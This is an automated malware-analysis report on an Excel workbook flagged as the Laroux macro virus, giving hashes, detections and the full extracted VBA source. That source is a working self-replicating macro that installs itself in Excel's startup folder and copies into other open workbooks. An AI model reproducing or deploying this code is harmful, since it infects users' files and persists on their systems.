Xls.Trojan.Laroux-32 — Office (OLE) malware analysis

Static analysis result for SHA-256 2742ad39c39be841…

MALICIOUS

Office (OLE)

72.5 KB Created: 2016-03-18 18:21:04 Authoring application: Microsoft Excel First seen: 2016-04-02
MD5: 052bbafcf01e3ab36b8dc60966911ede SHA-1: 904ed631400228935d4af6c2627f7d2401459270 SHA-256: 2742ad39c39be8417e737eae010578d426fb0c98e738b202cc909ef7568a31f4
180 Risk Score

Malware Insights

Xls.Trojan.Laroux-32 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristic firings indicate this is a known Excel Trojan, specifically Xls.Trojan.Laroux-32. The Auto_Open VBA macro is designed to copy the workbook to the startup directory as 'RESULTS.XLS', which is a common persistence technique. The document body contains what appears to be a Korean food inventory list, likely a lure.

Heuristics 3

  • ClamAV: Xls.Trojan.Laroux-32 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-32
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1909 bytes
SHA-256: fab1fba8274d0086e5943c16a8bde9f03da13cf783fc919b0c6d618294af9cc6
Detection
ClamAV: Xls.Trojan.Laroux-32
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "results"









Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
    Application.OnSheetActivate = "ck_files"
End Sub

Sub ck_files()
Attribute ck_files.VB_ProcData.VB_Invoke_Func = " \n14"
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    
Select Case whichfile
    Case 10
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    Sheets("results").Visible = True
    Sheets("results").Select
    Sheets("results").Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    newname$ = ActiveWorkbook.Name
    c4$ = CurDir()
    ChDir Application.StartupPath
    ActiveWindow.Visible = False
    Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
        , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
        False, CreateBackup:=False
    ChDir c4$
    Workbooks(n4$).Sheets("results").Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
    Application.ScreenUpdating = False
    n4$ = ActiveWorkbook.Name
    p4$ = ActiveWorkbook.Path
    s$ = Workbooks(n4$).Sheets(1).Name
    If s$ <> "results" Then
        Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
        Workbooks(n4$).Sheets("results").Visible = False
    Else
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
End Select
End Sub

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